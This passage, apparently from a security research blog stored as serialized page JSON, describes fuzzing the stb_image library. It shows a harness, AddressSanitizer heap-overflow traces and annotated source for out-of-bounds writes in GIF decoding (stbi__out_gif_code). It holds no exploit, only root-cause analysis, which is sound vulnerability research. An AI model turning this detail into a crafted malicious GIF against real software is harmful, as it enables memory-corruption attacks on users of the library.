\"./stb/stb_image.h\"\n",{"type":26,"tag":475,"props":146882,"children":146883},{"class":477,"line":539},[146884],{"type":26,"tag":475,"props":146885,"children":146886},{"emptyLinePlaceholder":18},[146887],{"type":32,"value":545},{"type":26,"tag":475,"props":146889,"children":146890},{"class":477,"line":548},[146891,146895,146899,146903,146907,146912,146916,146921,146925,146930],{"type":26,"tag":475,"props":146892,"children":146893},{"style":482},[146894],{"type":32,"value":18755},{"type":26,"tag":475,"props":146896,"children":146897},{"style":493},[146898],{"type":32,"value":90400},{"type":26,"tag":475,"props":146900,"children":146901},{"style":499},[146902],{"type":32,"value":626},{"type":26,"tag":475,"props":146904,"children":146905},{"style":482},[146906],{"type":32,"value":18755},{"type":26,"tag":475,"props":146908,"children":146909},{"style":2375},[146910],{"type":32,"value":146911}," argc",{"type":26,"tag":475,"props":146913,"children":146914},{"style":499},[146915],{"type":32,"value":637},{"type":26,"tag":475,"props":146917,"children":146918},{"style":482},[146919],{"type":32,"value":146920},"char",{"type":26,"tag":475,"props":146922,"children":146923},{"style":714},[146924],{"type":32,"value":89501},{"type":26,"tag":475,"props":146926,"children":146927},{"style":2375},[146928],{"type":32,"value":146929},"argv",{"type":26,"tag":475,"props":146931,"children":146932},{"style":499},[146933],{"type":32,"value":676},{"type":26,"tag":475,"props":146935,"children":146936},{"class":477,"line":558},[146937,146941],{"type":26,"tag":475,"props":146938,"children":146939},{"style":482},[146940],{"type":32,"value":18785},{"type":26,"tag":475,"props":146942,"children":146943},{"style":499},[146944],{"type":32,"value":146945}," x, y, comp;\n",{"type":26,"tag":475,"props":146947,"children":146948},{"class":477,"line":582},[146949,146954,146958,146962],{"type":26,"tag":475,"props":146950,"children":146951},{"style":482},[146952],{"type":32,"value":146953}," unsigned",{"type":26,"tag":475,"props":146955,"children":146956},{"style":482},[146957],{"type":32,"value":58740},{"type":26,"tag":475,"props":146959,"children":146960},{"style":714},[146961],{"type":32,"value":9525},{"type":26,"tag":475,"props":146963,"children":146964},{"style":499},[146965],{"type":32,"value":146966},"ret;\n",{"type":26,"tag":475,"props":146968,"children":146969},{"class":477,"line":596},[146970],{"type":26,"tag":475,"props":146971,"children":146972},{"emptyLinePlaceholder":18},[146973],{"type":32,"value":545},{"type":26,"tag":475,"props":146975,"children":146976},{"class":477,"line":610},[146977,146981,146986,146990,146994],{"type":26,"tag":475,"props":146978,"children":146979},{"style":586},[146980],{"type":32,"value":11988},{"type":26,"tag":475,"props":146982,"children":146983},{"style":499},[146984],{"type":32,"value":146985}," (argc ",{"type":26,"tag":475,"props":146987,"children":146988},{"style":714},[146989],{"type":32,"value":15394},{"type":26,"tag":475,"props":146991,"children":146992},{"style":903},[146993],{"type":32,"value":7645},{"type":26,"tag":475,"props":146995,"children":146996},{"style":499},[146997],{"type":32,"value":676},{"type":26,"tag":475,"props":146999,"children":147000},{"class":477,"line":650},[147001,147005,147009],{"type":26,"tag":475,"props":147002,"children":147003},{"style":586},[147004],{"type":32,"value":15449},{"type":26,"tag":475,"props":147006,"children":147007},{"style":903},[147008],{"type":32,"value":4234},{"type":26,"tag":475,"props":147010,"children":147011},{"style":499},[147012],{"type":32,"value":2729},{"type":26,"tag":475,"props":147014,"children":147015},{"class":477,"line":679},[147016],{"type":26,"tag":475,"props":147017,"children":147018},{"style":499},[147019],{"type":32,"value":851},{"type":26,"tag":475,"props":147021,"children":147022},{"class":477,"line":735},[147023],{"type":26,"tag":475,"props":147024,"children":147025},{"emptyLinePlaceholder":18},[147026],{"type":32,"value":545},{"type":26,"tag":475,"props":147028,"children":147029},{"class":477,"line":744},[147030,147035,147039,147044,147048,147052,147056,147060,147064,147068,147073,147077,147082,147086,147091,147095],{"type":26,"tag":475,"props":147031,"children":147032},{"style":499},[147033],{"type":32,"value":147034}," ret ",{"type":26,"tag":475,"props":147036,"children":147037},{"style":714},[147038],{"type":32,"value":786},{"type":26,"tag":475,"props":147040,"children":147041},{"style":493},[147042],{"type":32,"value":147043}," stbi_load",{"type":26,"tag":475,"props":147045,"children":147046},{"style":499},[147047],{"type":32,"value":626},{"type":26,"tag":475,"props":147049,"children":147050},{"style":2375},[147051],{"type":32,"value":146929},{"type":26,"tag":475,"props":147053,"children":147054},{"style":499},[147055],{"type":32,"value":3440},{"type":26,"tag":475,"props":147057,"children":147058},{"style":903},[147059],{"type":32,"value":3722},{"type":26,"tag":475,"props":147061,"children":147062},{"style":499},[147063],{"type":32,"value":22769},{"type":26,"tag":475,"props":147065,"children":147066},{"style":714},[147067],{"type":32,"value":2816},{"type":26,"tag":475,"props":147069,"children":147070},{"style":499},[147071],{"type":32,"value":147072},"x, ",{"type":26,"tag":475,"props":147074,"children":147075},{"style":714},[147076],{"type":32,"value":2816},{"type":26,"tag":475,"props":147078,"children":147079},{"style":499},[147080],{"type":32,"value":147081},"y, ",{"type":26,"tag":475,"props":147083,"children":147084},{"style":714},[147085],{"type":32,"value":2816},{"type":26,"tag":475,"props":147087,"children":147088},{"style":499},[147089],{"type":32,"value":147090},"comp, ",{"type":26,"tag":475,"props":147092,"children":147093},{"style":903},[147094],{"type":32,"value":3732},{"type":26,"tag":475,"props":147096,"children":147097},{"style":499},[147098],{"type":32,"value":3533},{"type":26,"tag":475,"props":147100,"children":147101},{"class":477,"line":753},[147102,147106,147111,147115,147119],{"type":26,"tag":475,"props":147103,"children":147104},{"style":586},[147105],{"type":32,"value":11988},{"type":26,"tag":475,"props":147107,"children":147108},{"style":499},[147109],{"type":32,"value":147110}," (ret ",{"type":26,"tag":475,"props":147112,"children":147113},{"style":714},[147114],{"type":32,"value":8287},{"type":26,"tag":475,"props":147116,"children":147117},{"style":482},[147118],{"type":32,"value":127202},{"type":26,"tag":475,"props":147120,"children":147121},{"style":499},[147122],{"type":32,"value":676},{"type":26,"tag":475,"props":147124,"children":147125},{"class":477,"line":761},[147126,147130,147134],{"type":26,"tag":475,"props":147127,"children":147128},{"style":586},[147129],{"type":32,"value":15449},{"type":26,"tag":475,"props":147131,"children":147132},{"style":903},[147133],{"type":32,"value":4234},{"type":26,"tag":475,"props":147135,"children":147136},{"style":499},[147137],{"type":32,"value":2729},{"type":26,"tag":475,"props":147139,"children":147140},{"class":477,"line":770},[147141],{"type":26,"tag":475,"props":147142,"children":147143},{"style":499},[147144],{"type":32,"value":851},{"type":26,"tag":475,"props":147146,"children":147147},{"class":477,"line":794},[147148],{"type":26,"tag":475,"props":147149,"children":147150},{"style":499},[147151],{"type":32,"value":61478},{"type":26,"tag":475,"props":147153,"children":147154},{"class":477,"line":831},[147155,147160],{"type":26,"tag":475,"props":147156,"children":147157},{"style":493},[147158],{"type":32,"value":147159}," stbi_image_free",{"type":26,"tag":475,"props":147161,"children":147162},{"style":499},[147163],{"type":32,"value":147164},"(ret);\n",{"type":26,"tag":475,"props":147166,"children":147167},{"class":477,"line":845},[147168],{"type":26,"tag":475,"props":147169,"children":147170},{"emptyLinePlaceholder":18},[147171],{"type":32,"value":545},{"type":26,"tag":475,"props":147173,"children":147174},{"class":477,"line":854},[147175,147179,147183],{"type":26,"tag":475,"props":147176,"children":147177},{"style":586},[147178],{"type":32,"value":16695},{"type":26,"tag":475,"props":147180,"children":147181},{"style":903},[147182],{"type":32,"value":2752},{"type":26,"tag":475,"props":147184,"children":147185},{"style":499},[147186],{"type":32,"value":2729},{"type":26,"tag":475,"props":147188,"children":147189},{"class":477,"line":862},[147190],{"type":26,"tag":475,"props":147191,"children":147192},{"style":499},[147193],{"type":32,"value":3607},{"type":26,"tag":35,"props":147195,"children":147196},{},[147197],{"type":32,"value":147198},"And soon after starting the fuzzer it found an interesting bug:",{"type":26,"tag":465,"props":147200,"children":147202},{"code":147201},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[147203],{"type":26,"tag":53,"props":147204,"children":147205},{"__ignoreMap":7},[147206],{"type":32,"value":147201},{"type":26,"tag":70,"props":147208,"children":147210},{"id":147209},"investigating-the-finding",[147211],{"type":32,"value":147212},"Investigating the Finding",{"type":26,"tag":35,"props":147214,"children":147215},{},[147216,147218,147224,147225,147230],{"type":32,"value":147217},"The ASAN output shows that at line ",{"type":26,"tag":53,"props":147219,"children":147221},{"className":147220},[],[147222],{"type":32,"value":147223},"6233",{"type":32,"value":142724},{"type":26,"tag":53,"props":147226,"children":147228},{"className":147227},[],[147229],{"type":32,"value":146757},{"type":32,"value":147231}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":26,"tag":465,"props":147233,"children":147235},{"code":147234,"language":2854,"meta":7,"className":16220,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[147236],{"type":26,"tag":53,"props":147237,"children":147238},{"__ignoreMap":7},[147239,147281,147288,147314,147327,147334,147342,147349,147403,147410,147456,147489],{"type":26,"tag":475,"props":147240,"children":147241},{"class":477,"line":478},[147242,147246,147250,147255,147260,147264,147268,147273,147277],{"type":26,"tag":475,"props":147243,"children":147244},{"style":482},[147245],{"type":32,"value":50736},{"type":26,"tag":475,"props":147247,"children":147248},{"style":482},[147249],{"type":32,"value":50741},{"type":26,"tag":475,"props":147251,"children":147252},{"style":493},[147253],{"type":32,"value":147254}," stbi__out_gif_code",{"type":26,"tag":475,"props":147256,"children":147257},{"style":499},[147258],{"type":32,"value":147259},"(stbi__gif ",{"type":26,"tag":475,"props":147261,"children":147262},{"style":714},[147263],{"type":32,"value":4282},{"type":26,"tag":475,"props":147265,"children":147266},{"style":2375},[147267],{"type":32,"value":108730},{"type":26,"tag":475,"props":147269,"children":147270},{"style":499},[147271],{"type":32,"value":147272},", stbi__uint16 ",{"type":26,"tag":475,"props":147274,"children":147275},{"style":2375},[147276],{"type":32,"value":53},{"type":26,"tag":475,"props":147278,"children":147279},{"style":499},[147280],{"type":32,"value":647},{"type":26,"tag":475,"props":147282,"children":147283},{"class":477,"line":516},[147284],{"type":26,"tag":475,"props":147285,"children":147286},{"style":499},[147287],{"type":32,"value":10589},{"type":26,"tag":475,"props":147289,"children":147290},{"class":477,"line":539},[147291,147296,147300,147305,147309],{"type":26,"tag":475,"props":147292,"children":147293},{"style":499},[147294],{"type":32,"value":147295}," stbi_uc ",{"type":26,"tag":475,"props":147297,"children":147298},{"style":714},[147299],{"type":32,"value":4282},{"type":26,"tag":475,"props":147301,"children":147302},{"style":499},[147303],{"type":32,"value":147304},"p, ",{"type":26,"tag":475,"props":147306,"children":147307},{"style":714},[147308],{"type":32,"value":4282},{"type":26,"tag":475,"props":147310,"children":147311},{"style":499},[147312],{"type":32,"value":147313},"c;\n",{"type":26,"tag":475,"props":147315,"children":147316},{"class":477,"line":548},[147317,147322],{"type":26,"tag":475,"props":147318,"children":147319},{"style":482},[147320],{"type":32,"value":147321}," int",{"type":26,"tag":475,"props":147323,"children":147324},{"style":499},[147325],{"type":32,"value":147326}," idx; \n",{"type":26,"tag":475,"props":147328,"children":147329},{"class":477,"line":558},[147330],{"type":26,"tag":475,"props":147331,"children":147332},{"emptyLinePlaceholder":18},[147333],{"type":32,"value":545},{"type":26,"tag":475,"props":147335,"children":147336},{"class":477,"line":582},[147337],{"type":26,"tag":475,"props":147338,"children":147339},{"style":499},[147340],{"type":32,"value":147341}," [...]\n",{"type":26,"tag":475,"props":147343,"children":147344},{"class":477,"line":596},[147345],{"type":26,"tag":475,"props":147346,"children":147347},{"emptyLinePlaceholder":18},[147348],{"type":32,"value":545},{"type":26,"tag":475,"props":147350,"children":147351},{"class":477,"line":610},[147352,147356,147360,147364,147368,147373,147377,147382,147386,147391,147395,147399],{"type":26,"tag":475,"props":147353,"children":147354},{"style":586},[147355],{"type":32,"value":52335},{"type":26,"tag":475,"props":147357,"children":147358},{"style":499},[147359],{"type":32,"value":2775},{"type":26,"tag":475,"props":147361,"children":147362},{"style":2375},[147363],{"type":32,"value":108730},{"type":26,"tag":475,"props":147365,"children":147366},{"style":499},[147367],{"type":32,"value":13464},{"type":26,"tag":475,"props":147369,"children":147370},{"style":2375},[147371],{"type":32,"value":147372},"cur_y",{"type":26,"tag":475,"props":147374,"children":147375},{"style":714},[147376],{"type":32,"value":8013},{"type":26,"tag":475,"props":147378,"children":147379},{"style":2375},[147380],{"type":32,"value":147381}," g",{"type":26,"tag":475,"props":147383,"children":147384},{"style":499},[147385],{"type":32,"value":13464},{"type":26,"tag":475,"props":147387,"children":147388},{"style":2375},[147389],{"type":32,"value":147390},"max_y",{"type":26,"tag":475,"props":147392,"children":147393},{"style":499},[147394],{"type":32,"value":2794},{"type":26,"tag":475,"props":147396,"children":147397},{"style":586},[147398],{"type":32,"value":48150},{"type":26,"tag":475,"props":147400,"children":147401},{"style":499},[147402],{"type":32,"value":2729},{"type":26,"tag":475,"props":147404,"children":147405},{"class":477,"line":650},[147406],{"type":26,"tag":475,"props":147407,"children":147408},{"emptyLinePlaceholder":18},[147409],{"type":32,"value":545},{"type":26,"tag":475,"props":147411,"children":147412},{"class":477,"line":679},[147413,147418,147422,147426,147430,147435,147439,147443,147447,147451],{"type":26,"tag":475,"props":147414,"children":147415},{"style":499},[147416],{"type":32,"value":147417}," idx ",{"type":26,"tag":475,"props":147419,"children":147420},{"style":714},[147421],{"type":32,"value":786},{"type":26,"tag":475,"props":147423,"children":147424},{"style":2375},[147425],{"type":32,"value":147381},{"type":26,"tag":475,"props":147427,"children":147428},{"style":499},[147429],{"type":32,"value":13464},{"type":26,"tag":475,"props":147431,"children":147432},{"style":2375},[147433],{"type":32,"value":147434},"cur_x",{"type":26,"tag":475,"props":147436,"children":147437},{"style":714},[147438],{"type":32,"value":8616},{"type":26,"tag":475,"props":147440,"children":147441},{"style":2375},[147442],{"type":32,"value":147381},{"type":26,"tag":475,"props":147444,"children":147445},{"style":499},[147446],{"type":32,"value":13464},{"type":26,"tag":475,"props":147448,"children":147449},{"style":2375},[147450],{"type":32,"value":147372},{"type":26,"tag":475,"props":147452,"children":147453},{"style":499},[147454],{"type":32,"value":147455},"; \n",{"type":26,"tag":475,"props":147457,"children":147458},{"class":477,"line":735},[147459,147464,147468,147472,147476,147480,147484],{"type":26,"tag":475,"props":147460,"children":147461},{"style":499},[147462],{"type":32,"value":147463}," p ",{"type":26,"tag":475,"props":147465,"children":147466},{"style":714},[147467],{"type":32,"value":786},{"type":26,"tag":475,"props":147469,"children":147470},{"style":714},[147471],{"type":32,"value":6854},{"type":26,"tag":475,"props":147473,"children":147474},{"style":2375},[147475],{"type":32,"value":108730},{"type":26,"tag":475,"props":147477,"children":147478},{"style":499},[147479],{"type":32,"value":13464},{"type":26,"tag":475,"props":147481,"children":147482},{"style":2375},[147483],{"type":32,"value":118153},{"type":26,"tag":475,"props":147485,"children":147486},{"style":499},[147487],{"type":32,"value":147488},"[idx];\n",{"type":26,"tag":475,"props":147490,"children":147491},{"class":477,"line":744},[147492,147497,147501,147506,147511,147515,147519,147523,147527,147531,147535],{"type":26,"tag":475,"props":147493,"children":147494},{"style":2375},[147495],{"type":32,"value":147496}," g",{"type":26,"tag":475,"props":147498,"children":147499},{"style":499},[147500],{"type":32,"value":13464},{"type":26,"tag":475,"props":147502,"children":147503},{"style":2375},[147504],{"type":32,"value":147505},"history",{"type":26,"tag":475,"props":147507,"children":147508},{"style":499},[147509],{"type":32,"value":147510},"[idx ",{"type":26,"tag":475,"props":147512,"children":147513},{"style":714},[147514],{"type":32,"value":4292},{"type":26,"tag":475,"props":147516,"children":147517},{"style":903},[147518],{"type":32,"value":11454},{"type":26,"tag":475,"props":147520,"children":147521},{"style":499},[147522],{"type":32,"value":1699},{"type":26,"tag":475,"props":147524,"children":147525},{"style":714},[147526],{"type":32,"value":786},{"type":26,"tag":475,"props":147528,"children":147529},{"style":903},[147530],{"type":32,"value":4234},{"type":26,"tag":475,"props":147532,"children":147533},{"style":499},[147534],{"type":32,"value":48766},{"type":26,"tag":475,"props":147536,"children":147537},{"style":552},[147538],{"type":32,"value":147539}," // OOB write\n",{"type":26,"tag":35,"props":147541,"children":147542},{},[147543,147545,147550,147552,147558,147560,147566],{"type":32,"value":147544},"It’s reasonable to assume ",{"type":26,"tag":53,"props":147546,"children":147548},{"className":147547},[],[147549],{"type":32,"value":76146},{"type":32,"value":147551}," is outside the bounds of ",{"type":26,"tag":53,"props":147553,"children":147555},{"className":147554},[],[147556],{"type":32,"value":147557},"g->history",{"type":32,"value":147559},", which leads to a one-byte OOB write (",{"type":26,"tag":53,"props":147561,"children":147563},{"className":147562},[],[147564],{"type":32,"value":147565},"g->history[idx / 4] = 1",{"type":32,"value":147567},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":26,"tag":35,"props":147569,"children":147570},{},[147571,147573,147578,147580,147586,147588,147593,147595,147601,147603,147609],{"type":32,"value":147572},"Because ",{"type":26,"tag":53,"props":147574,"children":147576},{"className":147575},[],[147577],{"type":32,"value":35},{"type":32,"value":147579}," is computed from ",{"type":26,"tag":53,"props":147581,"children":147583},{"className":147582},[],[147584],{"type":32,"value":147585},"g->out[idx]",{"type":32,"value":147587}," immediately before the violation, we considered whether ",{"type":26,"tag":53,"props":147589,"children":147591},{"className":147590},[],[147592],{"type":32,"value":76146},{"type":32,"value":147594}," could also be OOB for ",{"type":26,"tag":53,"props":147596,"children":147598},{"className":147597},[],[147599],{"type":32,"value":147600},"g->out",{"type":32,"value":147602},". Note that computing the address ",{"type":26,"tag":53,"props":147604,"children":147606},{"className":147605},[],[147607],{"type":32,"value":147608},"&g->out[idx]",{"type":32,"value":147610}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":26,"tag":35,"props":147612,"children":147613},{},[147614,147616,147621],{"type":32,"value":147615},"If we comment out ",{"type":26,"tag":53,"props":147617,"children":147619},{"className":147618},[],[147620],{"type":32,"value":147565},{"type":32,"value":147622}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":26,"tag":465,"props":147624,"children":147626},{"code":147625},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[147627],{"type":26,"tag":53,"props":147628,"children":147629},{"__ignoreMap":7},[147630],{"type":32,"value":147625},{"type":26,"tag":35,"props":147632,"children":147633},{},[147634],{"type":32,"value":147635},"This corresponds to:",{"type":26,"tag":465,"props":147637,"children":147639},{"code":147638,"language":2854,"meta":7,"className":16220,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[147640],{"type":26,"tag":53,"props":147641,"children":147642},{"__ignoreMap":7},[147643,147682,147689,147696,147703,147746,147777,147821,147828,147896,147936,147981,148020,148059,148098],{"type":26,"tag":475,"props":147644,"children":147645},{"class":477,"line":478},[147646,147650,147654,147658,147662,147666,147670,147674,147678],{"type":26,"tag":475,"props":147647,"children":147648},{"style":482},[147649],{"type":32,"value":50736},{"type":26,"tag":475,"props":147651,"children":147652},{"style":482},[147653],{"type":32,"value":50741},{"type":26,"tag":475,"props":147655,"children":147656},{"style":493},[147657],{"type":32,"value":147254},{"type":26,"tag":475,"props":147659,"children":147660},{"style":499},[147661],{"type":32,"value":147259},{"type":26,"tag":475,"props":147663,"children":147664},{"style":714},[147665],{"type":32,"value":4282},{"type":26,"tag":475,"props":147667,"children":147668},{"style":2375},[147669],{"type":32,"value":108730},{"type":26,"tag":475,"props":147671,"children":147672},{"style":499},[147673],{"type":32,"value":147272},{"type":26,"tag":475,"props":147675,"children":147676},{"style":2375},[147677],{"type":32,"value":53},{"type":26,"tag":475,"props":147679,"children":147680},{"style":499},[147681],{"type":32,"value":647},{"type":26,"tag":475,"props":147683,"children":147684},{"class":477,"line":516},[147685],{"type":26,"tag":475,"props":147686,"children":147687},{"style":499},[147688],{"type":32,"value":10589},{"type":26,"tag":475,"props":147690,"children":147691},{"class":477,"line":539},[147692],{"type":26,"tag":475,"props":147693,"children":147694},{"style":499},[147695],{"type":32,"value":147341},{"type":26,"tag":475,"props":147697,"children":147698},{"class":477,"line":548},[147699],{"type":26,"tag":475,"props":147700,"children":147701},{"emptyLinePlaceholder":18},[147702],{"type":32,"value":545},{"type":26,"tag":475,"props":147704,"children":147705},{"class":477,"line":558},[147706,147710,147714,147718,147722,147726,147730,147734,147738,147742],{"type":26,"tag":475,"props":147707,"children":147708},{"style":499},[147709],{"type":32,"value":147417},{"type":26,"tag":475,"props":147711,"children":147712},{"style":714},[147713],{"type":32,"value":786},{"type":26,"tag":475,"props":147715,"children":147716},{"style":2375},[147717],{"type":32,"value":147381},{"type":26,"tag":475,"props":147719,"children":147720},{"style":499},[147721],{"type":32,"value":13464},{"type":26,"tag":475,"props":147723,"children":147724},{"style":2375},[147725],{"type":32,"value":147434},{"type":26,"tag":475,"props":147727,"children":147728},{"style":714},[147729],{"type":32,"value":8616},{"type":26,"tag":475,"props":147731,"children":147732},{"style":2375},[147733],{"type":32,"value":147381},{"type":26,"tag":475,"props":147735,"children":147736},{"style":499},[147737],{"type":32,"value":13464},{"type":26,"tag":475,"props":147739,"children":147740},{"style":2375},[147741],{"type":32,"value":147372},{"type":26,"tag":475,"props":147743,"children":147744},{"style":499},[147745],{"type":32,"value":147455},{"type":26,"tag":475,"props":147747,"children":147748},{"class":477,"line":582},[147749,147753,147757,147761,147765,147769,147773],{"type":26,"tag":475,"props":147750,"children":147751},{"style":499},[147752],{"type":32,"value":147463},{"type":26,"tag":475,"props":147754,"children":147755},{"style":714},[147756],{"type":32,"value":786},{"type":26,"tag":475,"props":147758,"children":147759},{"style":714},[147760],{"type":32,"value":6854},{"type":26,"tag":475,"props":147762,"children":147763},{"style":2375},[147764],{"type":32,"value":108730},{"type":26,"tag":475,"props":147766,"children":147767},{"style":499},[147768],{"type":32,"value":13464},{"type":26,"tag":475,"props":147770,"children":147771},{"style":2375},[147772],{"type":32,"value":118153},{"type":26,"tag":475,"props":147774,"children":147775},{"style":499},[147776],{"type":32,"value":147488},{"type":26,"tag":475,"props":147778,"children":147779},{"class":477,"line":596},[147780,147784,147788,147792,147796,147800,147804,147808,147812,147816],{"type":26,"tag":475,"props":147781,"children":147782},{"style":2375},[147783],{"type":32,"value":147496},{"type":26,"tag":475,"props":147785,"children":147786},{"style":499},[147787],{"type":32,"value":13464},{"type":26,"tag":475,"props":147789,"children":147790},{"style":2375},[147791],{"type":32,"value":147505},{"type":26,"tag":475,"props":147793,"children":147794},{"style":499},[147795],{"type":32,"value":147510},{"type":26,"tag":475,"props":147797,"children":147798},{"style":714},[147799],{"type":32,"value":4292},{"type":26,"tag":475,"props":147801,"children":147802},{"style":903},[147803],{"type":32,"value":11454},{"type":26,"tag":475,"props":147805,"children":147806},{"style":499},[147807],{"type":32,"value":1699},{"type":26,"tag":475,"props":147809,"children":147810},{"style":714},[147811],{"type":32,"value":786},{"type":26,"tag":475,"props":147813,"children":147814},{"style":903},[147815],{"type":32,"value":4234},{"type":26,"tag":475,"props":147817,"children":147818},{"style":499},[147819],{"type":32,"value":147820},"; \n",{"type":26,"tag":475,"props":147822,"children":147823},{"class":477,"line":610},[147824],{"type":26,"tag":475,"props":147825,"children":147826},{"emptyLinePlaceholder":18},[147827],{"type":32,"value":545},{"type":26,"tag":475,"props":147829,"children":147830},{"class":477,"line":650},[147831,147836,147840,147844,147848,147852,147857,147861,147865,147869,147874,147879,147884,147888,147892],{"type":26,"tag":475,"props":147832,"children":147833},{"style":499},[147834],{"type":32,"value":147835}," c ",{"type":26,"tag":475,"props":147837,"children":147838},{"style":714},[147839],{"type":32,"value":786},{"type":26,"tag":475,"props":147841,"children":147842},{"style":714},[147843],{"type":32,"value":6854},{"type":26,"tag":475,"props":147845,"children":147846},{"style":2375},[147847],{"type":32,"value":108730},{"type":26,"tag":475,"props":147849,"children":147850},{"style":499},[147851],{"type":32,"value":13464},{"type":26,"tag":475,"props":147853,"children":147854},{"style":2375},[147855],{"type":32,"value":147856},"color_table",{"type":26,"tag":475,"props":147858,"children":147859},{"style":499},[147860],{"type":32,"value":3440},{"type":26,"tag":475,"props":147862,"children":147863},{"style":2375},[147864],{"type":32,"value":108730},{"type":26,"tag":475,"props":147866,"children":147867},{"style":499},[147868],{"type":32,"value":13464},{"type":26,"tag":475,"props":147870,"children":147871},{"style":2375},[147872],{"type":32,"value":147873},"codes",{"type":26,"tag":475,"props":147875,"children":147876},{"style":499},[147877],{"type":32,"value":147878},"[code].",{"type":26,"tag":475,"props":147880,"children":147881},{"style":2375},[147882],{"type":32,"value":147883},"suffix",{"type":26,"tag":475,"props":147885,"children":147886},{"style":714},[147887],{"type":32,"value":9525},{"type":26,"tag":475,"props":147889,"children":147890},{"style":903},[147891],{"type":32,"value":11454},{"type":26,"tag":475,"props":147893,"children":147894},{"style":499},[147895],{"type":32,"value":31274},{"type":26,"tag":475,"props":147897,"children":147898},{"class":477,"line":679},[147899,147903,147907,147911,147915,147919,147923,147927,147932],{"type":26,"tag":475,"props":147900,"children":147901},{"style":586},[147902],{"type":32,"value":52335},{"type":26,"tag":475,"props":147904,"children":147905},{"style":499},[147906],{"type":32,"value":2775},{"type":26,"tag":475,"props":147908,"children":147909},{"style":2375},[147910],{"type":32,"value":2854},{"type":26,"tag":475,"props":147912,"children":147913},{"style":499},[147914],{"type":32,"value":3440},{"type":26,"tag":475,"props":147916,"children":147917},{"style":903},[147918],{"type":32,"value":17002},{"type":26,"tag":475,"props":147920,"children":147921},{"style":499},[147922],{"type":32,"value":1699},{"type":26,"tag":475,"props":147924,"children":147925},{"style":714},[147926],{"type":32,"value":10170},{"type":26,"tag":475,"props":147928,"children":147929},{"style":903},[147930],{"type":32,"value":147931}," 128",{"type":26,"tag":475,"props":147933,"children":147934},{"style":499},[147935],{"type":32,"value":676},{"type":26,"tag":475,"props":147937,"children":147938},{"class":477,"line":735},[147939,147944,147948,147952,147956,147960,147964,147968,147972,147976],{"type":26,"tag":475,"props":147940,"children":147941},{"style":2375},[147942],{"type":32,"value":147943}," p",{"type":26,"tag":475,"props":147945,"children":147946},{"style":499},[147947],{"type":32,"value":3440},{"type":26,"tag":475,"props":147949,"children":147950},{"style":903},[147951],{"type":32,"value":3732},{"type":26,"tag":475,"props":147953,"children":147954},{"style":499},[147955],{"type":32,"value":1699},{"type":26,"tag":475,"props":147957,"children":147958},{"style":714},[147959],{"type":32,"value":786},{"type":26,"tag":475,"props":147961,"children":147962},{"style":2375},[147963],{"type":32,"value":37139},{"type":26,"tag":475,"props":147965,"children":147966},{"style":499},[147967],{"type":32,"value":3440},{"type":26,"tag":475,"props":147969,"children":147970},{"style":903},[147971],{"type":32,"value":2830},{"type":26,"tag":475,"props":147973,"children":147974},{"style":499},[147975],{"type":32,"value":55603},{"type":26,"tag":475,"props":147977,"children":147978},{"style":552},[147979],{"type":32,"value":147980}," // OOB write\n",{"type":26,"tag":475,"props":147982,"children":147983},{"class":477,"line":744},[147984,147988,147992,147996,148000,148004,148008,148012,148016],{"type":26,"tag":475,"props":147985,"children":147986},{"style":2375},[147987],{"type":32,"value":147943},{"type":26,"tag":475,"props":147989,"children":147990},{"style":499},[147991],{"type":32,"value":3440},{"type":26,"tag":475,"props":147993,"children":147994},{"style":903},[147995],{"type":32,"value":3722},{"type":26,"tag":475,"props":147997,"children":147998},{"style":499},[147999],{"type":32,"value":1699},{"type":26,"tag":475,"props":148001,"children":148002},{"style":714},[148003],{"type":32,"value":786},{"type":26,"tag":475,"props":148005,"children":148006},{"style":2375},[148007],{"type":32,"value":37139},{"type":26,"tag":475,"props":148009,"children":148010},{"style":499},[148011],{"type":32,"value":3440},{"type":26,"tag":475,"props":148013,"children":148014},{"style":903},[148015],{"type":32,"value":3722},{"type":26,"tag":475,"props":148017,"children":148018},{"style":499},[148019],{"type":32,"value":31274},{"type":26,"tag":475,"props":148021,"children":148022},{"class":477,"line":753},[148023,148027,148031,148035,148039,148043,148047,148051,148055],{"type":26,"tag":475,"props":148024,"children":148025},{"style":2375},[148026],{"type":32,"value":147943},{"type":26,"tag":475,"props":148028,"children":148029},{"style":499},[148030],{"type":32,"value":3440},{"type":26,"tag":475,"props":148032,"children":148033},{"style":903},[148034],{"type":32,"value":2830},{"type":26,"tag":475,"props":148036,"children":148037},{"style":499},[148038],{"type":32,"value":1699},{"type":26,"tag":475,"props":148040,"children":148041},{"style":714},[148042],{"type":32,"value":786},{"type":26,"tag":475,"props":148044,"children":148045},{"style":2375},[148046],{"type":32,"value":37139},{"type":26,"tag":475,"props":148048